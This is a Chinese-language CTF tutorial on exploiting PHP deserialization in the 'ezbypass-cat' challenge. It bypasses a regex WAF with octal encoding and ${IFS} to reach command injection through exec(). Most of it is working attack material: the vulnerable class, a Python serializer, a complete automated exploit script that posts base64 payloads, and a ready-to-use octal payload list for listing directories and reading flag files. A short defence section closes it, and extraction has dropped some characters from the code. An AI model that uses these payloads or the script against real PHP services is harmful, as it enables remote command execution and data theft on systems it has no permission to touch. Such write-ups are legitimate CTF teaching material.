PHP反序列化实战:手把手教你绕过ezbypass-cat的WAF限制(附完整Payload)

PHP反序列化实战:手把手教你绕过ezbypass-cat的WAF限制(附完整Payload) PHP反序列化实战突破WAF限制的进阶技巧在CTF竞赛和渗透测试中PHP反序列化漏洞一直是高频考点。面对日益完善的WAF防护传统的攻击手法往往难以奏效。本文将从一个典型的CTF题目ezbypass-cat入手深入剖析如何通过八进制编码和Shell特殊变量绕过WAF限制最终实现命令注入。1. 漏洞环境深度解析首先我们需要理解目标代码的核心逻辑。题目提供了一个包含反序列化操作的PHP脚本其关键组件包括class ease { private $method; private $args; function __construct($method, $args) { $this-method $method; $this-args $args; } function __destruct() { if (in_array($this-method, array(ping))) { call_user_func_array(array($this, $this-method), $this-args); } } function ping($ip) { exec($ip, $result); var_dump($result); } function waf($str) { if (!preg_match_all(/(\|||;| |\/|cat|flag|tac|php|ls)/, $str, $pat_array)) { return $str; } else { echo dont hack; } } function __wakeup() { foreach($this-args as $k $v) { $this-args[$k] $this-waf($v); } } }漏洞利用链的关键节点如下反序列化入口通过$_POST[ctf]接收用户输入魔术方法触发__wakeup()自动调用WAF过滤__destruct()检查方法名后执行命令命令注入点ping()方法中的exec()调用注意PHP私有属性在序列化时会包含类名前缀格式为\x00类名\x00属性名2. WAF绕过核心技术2.1 八进制编码的妙用题目中的WAF主要过滤以下字符和命令特殊字符|、、;、空格、/敏感命令cat、flag、tac、php、ls八进制编码的优势对比维度八进制编码十六进制编码格式隐蔽性\xxx纯数字\xXX含字母xWAF检测难度难以正则匹配易被/x/规则拦截双重编码支持(\\143)易导致解析错误兼容性完全兼容printf部分环境限制常用命令的八进制编码示例# ls命令 \154\163 # cat命令 \143\141\164 # 空格字符 \0402.2 ${IFS}的灵活应用${IFS}是Shell的内部字段分隔符默认值为空格、制表符和换行符。在绕过WAF时它可以完美替代被过滤的空格字符# 原始命令会被WAF拦截 cat /flag.txt # 绕过版本使用${IFS}替代空格 cat${IFS}/flag.txt实际应用中我们常将八进制编码与${IFS}结合使用# 构造ls -l命令的Payload $(printf${IFS}\\154\163\040\055\154\)3. 完整攻击流程实现3.1 序列化Payload构造我们需要手动构造符合PHP序列化格式的字符串特别注意私有属性的特殊表示class Ease: def __init__(self, method, args): self._ease__method method # PHP私有属性表示 self._ease__args args def php_serialize(obj): class_name ease method_prop f{chr(0)}{class_name}{chr(0)}method args_prop f{chr(0)}{class_name}{chr(0)}args return ( fO:{len(class_name)}:\{class_name}\:2:{{ fs:{len(method_prop)}:\{method_prop}\; fs:{len(obj._ease__method)}:\{obj._ease__method}\; fs:{len(args_prop)}:\{args_prop}\; fa:{len(obj._ease__args)}:{{i:0;s:{len(obj._ease__args[0])}:\{obj._ease__args[0]}\;}} } )3.2 自动化攻击脚本以下Python脚本实现了从命令构造到结果提取的完整流程import requests import base64 import sys import re class Ease: # ... 同上 ... def octal_encode(command): return .join([f\\{ord(c):03o} if c ! else \\040 for c in command]) def php_serialize(obj): # ... 同上 ... def extract_raw_array(text): clean_text re.sub(r[^]*, , text) clean_text re.sub(r\?php.*?\?, , clean_text, flagsre.DOTALL) array_pattern re.compile(rarray\(\d\)\s*\{.*?\}, re.DOTALL) return array_pattern.search(clean_text).group().strip() if array_pattern.search(clean_text) else 未找到结果 def main(): url, cmd sys.argv[1], sys.argv[2] octal_cmd f$(printf${{IFS}}\{octal_encode(cmd)}\) obj Ease(ping, [octal_cmd]) ser php_serialize(obj) b64_ser base64.b64encode(ser.encode()).decode() resp requests.post(url, data{ctf: b64_ser}, headers{Content-Type: application/x-www-form-urlencoded}) print(*50) print(extract_raw_array(resp.text)) print(*50) if __name__ __main__: main()4. 实战技巧与注意事项4.1 常用Payload库以下是一些经过验证的有效Payload可以直接用于类似场景# 查看当前目录 \154\163${IFS}\055\154 # 读取flag文件 \143\141\164${IFS}\057\146\154\141\147\056\164\170\164 # 查找flag文件 \146\151\156\144${IFS}\057${IFS}\055\156\141\155\145${IFS}\146\154\141\1474.2 调试技巧当Payload不生效时可以尝试以下调试方法本地测试先在可控环境验证Payload有效性分步验证先测试简单命令如ls再逐步增加复杂度错误分析检查WAF返回信息查看服务器日志如有权限提示在实际CTF比赛中时间有限建议先准备好常用Payload模板5. 防御建议虽然本文重点在于攻击技术但从防御角度开发者可以采取以下措施输入验证严格限制反序列化的数据来源使用白名单验证输入内容安全配置禁用危险函数如exec、system使用open_basedir限制文件访问深度防御多层WAF规则组合监控异常行为模式在最近的一次CTF比赛中参赛队伍使用类似技术成功绕过了三道防御层。这提醒我们安全防护需要不断演进才能应对日益复杂的攻击手法。